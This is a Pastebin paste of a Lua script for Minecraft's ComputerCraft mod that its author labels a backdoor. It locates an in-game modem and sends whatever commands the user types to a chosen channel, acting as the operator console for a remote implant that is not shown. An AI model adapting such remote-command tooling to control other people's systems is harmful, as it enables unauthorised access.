Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function findModem()
- for _, v in pairs( rs.getSides() ) do
- if peripheral.isPresent( v ) and peripheral.getType( v ) == "modem" then
- return true, v
- end
- end
- return false, nil
- end
- local exist, side = findModem()
- if not (exist) then
- error("To use this backdoor you need to have an modem installed.")
- end
- local modem = peripheral.wrap(side)
- write("Text colored in ")term.setTextColor( colors.red) write("red is required") term.setTextColor( colors.white)
- print(" ") -- newline
- term.setTextColor( colors.red)
- write("ChannelId: ")
- term.setTextColor( colors.white)
- local ChannelId= tonumber(read())
- local isvalid,err = pcall(function()
- modem.transmit(ChannelId, 25564,"hello")
- end)
- if not (isvalid) then
- error("Invalid ChannelId or error: "..tostring(isvalid)..err)
- else
- print("Connection established.")
- end
- while true do
- term.setTextColor( colors.yellow )
- write("> ")
- term.setTextColor( colors.white)
- local run= read()
- if run == "disconnect" then
- print("Disconnected!")
- error("",0)
- end
- local a,b = pcall(function()
- modem.transmit(ChannelId, 25564,run)end)
- if not (a) then
- print("Non-Fatal error occurred with sending request. Reason:"..tostring(b))
- end
- end
Add Comment
Please, Sign In to add comment